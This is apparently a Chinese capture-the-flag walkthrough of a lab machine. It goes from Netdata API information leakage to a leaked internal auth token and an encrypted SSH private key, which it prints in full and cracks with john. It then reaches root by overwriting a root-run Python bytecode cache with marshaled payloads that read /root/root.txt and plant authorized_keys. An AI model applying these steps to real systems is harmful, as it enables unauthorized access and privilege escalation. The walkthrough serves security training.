

64、NetData2

```
ip:192.168.101.147
```

```
flag{user-038b7528863a88af09ef985247ffc3ec}
```

```
flag{root-57ef9bf79ec87b8179360756328fc252}
```

一、信息收集

```
rustscan -a 192.168.101.147
```

```
Open 192.168.101.147:22
```

```
Open 192.168.101.147:80
```

```
Open 192.168.101.147:8443
```

```
Open 192.168.101.147:19999
```

```
nmap -sV -sC -p 22,80,8443,19999 192.168.101.147
```

```
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.67 ((Unix))
|_http-title: dprod - Digital product design agency
|_http-server-header: Apache/2.4.67 (Unix)
| http-methods:
|_ Potentially risky methods: TRACE
8443/tcp  open  http     Werkzeug httpd 3.1.8 (Python 3.14.5)
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: Werkzeug/3.1.8 Python/3.14.5
19999/tcp open  dnp-sec?
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Server: Netdata Embedded HTTP Server v1.47.5
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Credentials: true
|     Date: Tue, 25 Aug 2026 01:33:58 GMT
|     Content-Type: text/plain; charset=utf-8
|     Cache-Control: no-cache, no-store, must-revalidate
|     Pragma: no-cache
|     Expires: Tue, 25 Aug 2026 01:33:58 GMT
|     Content-Length: 43
```

```
| X-Transaction-ID: 52ca31da4c4f45e2ba66257eaeed416c
| HTTP method requested is not supported...
| GetRequest:
| HTTP/1.1 200 OK
| Connection: close
| Server: Netdata Embedded HTTP Server v1.47.5
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Credentials: true
| Date: Wed, 13 May 2026 08:37:07 GMT
| Content-Type: text/html; charset=utf-8
| Cache-Control: public
| Expires: Thu, 14 May 2026 08:37:07 GMT
| Content-Length: 39655
| X-Transaction-ID: 433ecf338ac5454582a496b1d01c8508
| <!doctype html><html lang="en"><head><title>netdata dashboard</title><meta
name="application-name" content="netdata"><meta http-equiv="Content-Type"
content="text/html; charset=utf-8"/><meta charset="utf-8"><meta http-equiv="X-UA-
Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-
width,initial-scale=1"><meta name="apple-mobile-web-app-capable" content="yes"><meta
name="apple-mobile-web-app-status-bar-style" content="black-translucent"><meta
name="author" content="costa@tsaousis.gr"><link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Connection: close
| Server: Netdata Embedded HTTP Server v1.47.5
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Credentials: true
| Date: Tue, 25 Aug 2026 01:33:58 GMT
| Content-Type: text/plain; charset=utf-8
| Access-Control-Allow-Methods: GET, OPTIONS
| Access-Control-Allow-Headers: accept, x-requested-with, origin, content-type,
cookie, pragma, cache-control, x-auth-token
| Access-Control-Max-Age: 1209600
| Content-Length: 2
|_ X-Transaction-ID: 1380c75f339248e9a6e20d84fd5e9002
```

二、漏洞复现

NetData版本: netdata v1.47.5

在当前扫描到的 **Netdata v1.47.5** 版本中，其主要的安全风险在于**默认配置缺陷与信息泄露**，以及如果后续获取到初始权限后的**本地提权利用**。

1. 默认未授权访问与敏感情报泄露（核心利用点）

Netdata 默认安装后不带身份验证（Auth）。v1.47.5 版本的 Restful API 依然开放，攻击者可以通过以下接口无需登录直接提取靶机敏感信息：

- **全量系统情报提取 (/api/v1/info)：**
直接访问 `http://<IP>:19999/api/v1/info`，可以获取操作系统名称、内核版本、架构、CPU/内存规格以及运行中的 Netdata 插件状态。这为攻击者后续寻找内核提权漏洞（Kernel Exploit）提供了准确信息。 [GitHub](#)
- **进程与命令行参数泄露 (/api/v1/data?chart=...)：**
监控面板会将系统中所有运行进程的命令行参数（Command Line Arguments）完全暴露。如果管理员通过命令行启动了带有数据库密码、API Token、解密密钥的服务（例如 `python app.py --db-pass=xxx`），可以直接在 Dashboard 上提取到明文凭据。
- **内部网络与端口侦察：**
通过 Netdata 内部的网络连接监控，可以查看到仅绑定在 `127.0.0.1` 的本地服务（如 Redis、MySQL、内部 HTTP 管理接口），方便攻击者后续进行端口转发与内网横向打靶。

在泄露的信息当中，我们得到了这样一组关键的JSON信息

```
"host_labels": {
  "_internal_api_auth_header": "X-Internal-Auth",
  "_internal_api_auth_token": "s3cr3t_t0k3n_f0r_4dm1n",
  "_internal_api_url": "http://127.0.0.1:8443/api/flag"
}
```

数据暴露了Port 8443的Werkzeug/Flask应用中存在一个仅限本地（127.0.0.1）或者特定鉴权才能访问的接口/api/flag

而在我们的Nmap扫描中是对外开放的（0.0.0.0:8443），我们可以直接从外部携带以上得到的Header发送请求，来获取信息

```
└─(kali㉿kali)-[~/Desktop]
└─$ curl -s -X GET "http://192.168.101.147:8443/api/flag" \
    -H "X-Internal-Auth: s3cr3t_t0k3n_f0r_4dm1n"
{"flag": "/b7a46cd4-3c6a-4fe9-b432-6aa60fc1c0d7"}
```

得到{"flag": "/b7a46cd4-3c6a-4fe9-b432-6aa60fc1c0d7"}，因为带着/（斜杠），或许它是一个路径吧，尝试直接访问

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAAAAAcmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDnJvarBy
AaKOVHGUqzKvNJAAGAAAAAAEAAABoAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlz
dHAyNTYAAABBBAAu0vOq2iikPrRafaALDAzdld1q7etogfJpUys7uQkh0yssPHIOGIlnCVmk
fH+597ZZUha++8yznavl8rqIn4BZcAAACwIeMia8+vQg3Pds4BWLqyuiElAH9cHiZizeoJ
+awY0UEJFz3Dkr13ja9wN4mGDnPJ/o9sblQstTDcEKSz9CluQ0MWrAgZ0IM8rmp/b1/NCH
+dAiQcFgnGllwiBvqn+HLzonSdiDa8t2FY7e1PCNwhehMANepB47bl0GbNN+DLiIbr2NK9
Tf4hR4lkfDAJNCuNcAYPFGdeJiSYHZ5pz23C/EdTq4zx1L5fWTedbBgRwUc=
-----END OPENSSH PRIVATE KEY-----
```

```
(kali㉿kali)-[~/Desktop]
└─$ cat << 'EOF' > id_ecdsa
heredoc> -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAAAAAcmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDnJvarBy
AaK0VHGUqzKvNJAAGAAAAAAEAAABoAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlz
dHAyNTYAAABBBAAu0vOq2iikPrRafaALDAzdld1q7etogfJpUys7uQkh0yssPHIOGIlnCVmk
fH+597ZZUha++8yznavl8rqIn4BZcAAACwIeMia8+vQg3Pds4BWLqyuiElAH9cHiZizeoJ
+awY0UEJFz3Dkr13ja9wN4mGDnPJ/o9sblQstTDcEKSz9CluQ0MWrAgZ0IM8rmp/b1/NCH
+dAiQcFgnGllwiBvqn+HLzonSdiDa8t2FY7e1PCNwhehMANepB47bl0GbNN+DLiIbr2NK9
Tf4hR4lkfDAJNCuNcAYPFGdeJiSYHZ5pz23C/EdTq4zx1L5fWTedbBgRwUc=
-----END OPENSSH PRIVATE KEY-----
heredoc> EOF

(kali㉿kali)-[~/Desktop]
└─$ chmod 600 id_ecdsa
```

这是一串经过加密的 OpenSSH 私钥（ECDSA 类型）

提取哈希，使用rockyou字典进行爆破

```
ssh2john id_ecdsa > key_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt key_hash.txt

Press 'q' or Ctrl-C to abort, almost any other key for status
legolas          (id_ecdsa)
1g 0:00:00:39 DONE (2026-08-24 22:10) 0.02552g/s 21.23p/s 21.23c/s 21.23C/s
lizzie..legolas
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

转换私钥并且去除密码

```

└─(kali㉿kali)-[~/Desktop]
└─$ ssh-keygen -p -f id_ecdsa -P legolas -N ""
Key has comment 'kendrals@Maze'
Your identification has been saved with the new passphrase.

```

获得了一个用户信息，kendrals@Maze，成功的登录到靶机内

```

└─(kali㉿kali)-[~/Desktop]
└─$ ssh -i id_ecdsa kendrals@192.168.101.147

--      -----| |  --- ---  - -- ---  ---
\ \ /\ / / _ \ | / _ / _ \ | ' _ ` _ \ / _ \
 \ v v / _ / | ( | ( ) | | | | | | _ /
  \ /\ / \ _ _ | _ \ _ _ \ _ _ / | _ | | _ \ _ _ |

kendrals@Netdata2:~$ ls -al
total 16
drwxr-sr-x 3 kendrals kendrals 4096 Jul  4 20:11 .
drwxr-xr-x 4 root      root      4096 Jul  4 20:09 ..
drwx--S--- 2 kendrals kendrals 4096 Jul  4 20:10 .ssh
-rw-r--r-- 1 kendrals kendrals  44 Jul  4 20:11 user.txt

```

三、权限提升

上传LinPEAS进行扫描后分析结果，可能的提权链为
kendrals->root的cron->可写python的字节码缓存->root

```

kendrals@Netdata2:~$ python3 - <<'PY'
> from pathlib import Path
import marshal

p = Path("/opt/backup/__pycache__/backup_utils.cpython-314.pyc")
old = p.read_bytes()

payload = """
from pathlib import Path
Path('/home/kendrals/root_flag_copy').write_text(
    Path('/root/root.txt').read_text()
)
"""

p.write_bytes(old[:16] + marshal.dumps(compile(payload, "<backup_utils>", "exec")))
> PY

```

```
kendrals@Netdata2:~$ cat root_flag_copy
flag{root-57ef9bf79ec87b8179360756328fc252}
```

拿到root-shell，Python 注入是 root 执行的。最稳妥的方式是让 root 任务把当前用户的 SSH 公钥写入 /root/.ssh/authorized_keys ，然后 SSH 登录 root

```
python3 - <<'PY'
from pathlib import Path
import marshal

p = Path("/opt/backup/__pycache__/backup_utils.cpython-314.pyc")
old = p.read_bytes()

payload = """
import os
import shutil

os.makedirs('/root/.ssh', mode=0o700, exist_ok=True)
shutil.copyfile(
    '/home/kendrals/.ssh/id_ecdsa.pub',
    '/root/.ssh/authorized_keys'
)
os.chown('/root/.ssh', 0, 0)
os.chown('/root/.ssh/authorized_keys', 0, 0)
os.chmod('/root/.ssh/authorized_keys', 0o600)
"""

p.write_bytes(old[:16] + marshal.dumps(compile(payload, "<backup_utils>", "exec")))
PY

ssh -i /home/kendrals/.ssh/id_ecdsa root@127.0.0.1
```

输入我们从web层面得到的key，legolas

```
kendrals@Netdata2:~$ ssh -i /home/kendrals/.ssh/id_ecdsa root@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is: SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
Enter passphrase for key '/home/kendrals/.ssh/id_ecdsa':
```

WELCOME

```
root@Netdata2:~# ls -al
total 16
drwx----- 3 root root 4096 Jul  4 20:29 .
drwxr-xr-x 21 root root 4096 Jul  4 20:26 ..
drwx----- 2 root root 4096 Jun  9 15:13 .ssh
-rw-r--r--  1 root root   44 Jul  4 20:11 root.txt
root@Netdata2:~# cat root.txt
flag{root-57ef9bf79ec87b8179360756328fc252}
root@Netdata2:~#
```